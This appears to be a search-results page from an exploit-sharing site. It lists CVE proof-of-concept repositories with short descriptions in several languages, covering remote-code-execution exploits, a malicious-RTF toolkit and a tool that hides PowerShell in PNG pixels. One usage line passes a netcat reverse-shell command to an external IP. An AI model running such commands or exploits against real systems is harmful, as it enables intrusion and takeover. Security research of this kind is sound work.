624812 matches found
CVE-2022-33891
CVE-2022-33891 PoC PoC para CVE-2022-33891, com capacidade de definir payloads personalizados. Não vulnerável por padrão -- spark.acls.enable precisa ser TRUE. Uso pretendido A utilização deste script é limitada a pessoal autorizado a executar o payload nos hosts de destino exclusivamente para fi...
CVE-2022-30929
CVE-2022-30929 CVE-2022-30929 POC Vorgeschlagene Beschreibung Mini-Tmall v1.0 ist anfällig für unsichere Berechtigungen über tomcat-embed-jasper. Schwachstellentyp Unsichere Berechtigungen Anbieter des Produkts github;gitee Betroffene Produktcodebasis...
CVE-2022-24086-RCE
CVE-2022-24086-RCE CVE-2022-24086 RCE Description Le versioni di Adobe Commerce 2.4.3-p1 e precedenti e 2.3.7-p2 e precedenti sono interessate da una vulnerabilità di convalida dell'input impropria durante il processo di checkout. Lo sfruttamento di questo problema non richiede l'interazione...
CVE-2022-22947-POC
CVE-2022-22947-POC Script di rilevamento di massa per CVE-2022-22947, l'output del comando non è stato regolarizzato, usatelo per ora, aggiornerò in seguito Metti url.txt nella directory dello script Esegui direttamente python script.py Dimostrazione: Dopo il completamento del rilevamento verrà...
CVE-2025-66478-Exploit-Poc
Next.js CVE-2025-66478 PoC English | 한국어 Dieses Repository enthält einen Proof of Concept PoC zur Reproduktion und Erforschung der Next.js-Schwachstelle CVE-2025-66478. Es besteht aus einer verwundbaren Next.js-Anwendung und einem Python-Exploit-Skript zum Testen der Schwachstelle. Was ist...
CVE-2019-16759
CVE-2019-16759 Vbulletin RCE Exploits...
nuclei-template-cve-2025-31324-check
Controllo SAP CVE-2025-31324 Panoramica Questo template è progettato per verificare la presenza della vulnerabilità SAP NetWeaver CVE-2025-31324. Questa vulnerabilità consente a utenti non autorizzati di caricare file JSP tramite l'endpoint /developmentserver/metadatauploader, il che può portare ...
CVE-2024-28397
CVE-2024-28397 Exploit per l'Escape dalla Sandbox di js2py - CodePartTwo - HTB Un codice exploit in Python per CVE-2024-28397 , una vulnerabilità critica in js2py = 0.74 che consente l'escape dalla sandbox e l'esecuzione remota di codice. 🚨 Dettagli della Vulnerabilità ID CVE : CVE-2024-28397...
cve-2026-27483-lab
CVE-2026-27483 Lab - Enterprise-Schwachstellen-Lernumgebung Ein vollständiges, realistisches, unternehmensreifes Docker-basiertes Labor zum Lernen, Testen und Verteidigen gegen CVE-2026-27483 MindsDB Path Traversal RCE. 🎯 Schnellstart root@kitploit: Clone the repository git clone...
CVE-2018-16763-Exploit-Python3
CVE-2018-16763 FuelCMS 1.4.1 Vulnerabilità di Esecuzione Remota di Codice Questo è un porting in Python 3 della vulnerabilità su https://www.exploit-db.com/exploits/47138, creato da 0xd0ff9. Per eseguire l'exploit, modifica la variabile url nel codice con l'URL target che vuoi attaccare, e aggiun...
CVE-2023-33829
CVE-2023-33829: Stored-XSS-on-SCM-Manager-1.60 Sommario È stata scoperta una vulnerabilità nelle versioni di SCM Manager 1.2 = 1.60 che consente a un attaccante precedentemente autenticato con permessi di scrittura di eseguire codice JavaScript in campi specifici. Questa Proof of Concept è stata...
CVE-2017-0199
CVE-2017-0199 Exploit toolkit CVE-2017-0199 - v2.0 è un pratico script Python che fornisce un modo rapido ed efficace per sfruttare la vulnerabilità RCE di Microsoft RTF. Può generare un file RTF dannoso e consegnare il payload metasploit / meterpreter alla vittima senza alcuna configurazione...
Invoke-PSImage
Invoke-PSImage Codifica uno script PowerShell nei pixel di un file PNG e genera un one-liner per eseguirlo Invoke-PSImage prende uno script PowerShell e codifica i byte dello script nei pixel di un'immagine PNG. Genera un one-liner per eseguirlo sia da un file che dal web. Può creare una nuova...
Spring-Boot-Tomcat-CVE-2025-24813
CVE-2025-24813: Apache 1. Spiegazione Tomcat è vulnerabile a causa di due vulnerabilità separate, la prima è una debolezza in DefaultServlet che consente put parziali per scrivere una directory temporanea vedi:...
PoC-CVE-2015-10141-Xdebug
PoC-CVE-2015-10141 Exploit Python personalizzato per Xdebug ≤ 2.5.5 CVE-2015-10141. Descrizione Questo repository contiene il mio exploit di prova di concetto PoC per la vulnerabilità di esecuzione remota di codice in Xdebug nelle versioni 2.5.5 e precedenti. Lo script sfrutta il protocollo di...
CVE-2020-15568
CVE-2020-15568 Ein schneller und einfacher POC für CVE-2020-15568. Nicht getestet, aber basierend auf Informationen von hier: https://ssd-disclosure.com/ssd-advisory-terramaster-os-exportuser-php-remote-code-execution/...
CVE-2023-30258-RCE-POC
CVE-2023-30258-RCE-POC POC für CVE-2023-30258-RCE von n0o0b Verwendung root@kitploit: usage: poc.py -h -u URL -c CMD example. python poc.py -u http://10.10.69.34/mbilling --cmd "nc -c sh 10.21.126.163 8888" options: -h, --help show this help message and exit -u URL, --url URL Target URL -c CMD,...
CVE-2019-19609-POC-Python
Das Skript versucht, das Passwort auf das in der Variable "updatedpass" deklarierte zurückzusetzen. Bei Erfolg gibt es ein JWT-Token von Strapi aus und verwendet es, um Befehle auszuführen. Das Ausführen von Bind-Befehlen funktioniert nicht, es sei denn, man sendet ein Reverse-Shell-Payload, mit...
PoC-CVE-2017-3881
PoC-CVE-2017-3881 Cisco Catalyst Remote Code Execution PoC Questo repository contiene il codice Proof-of-Concept per sfruttare la vulnerabilità di esecuzione remota di codice divulgata da Cisco Systems il 17 marzo 2017 -...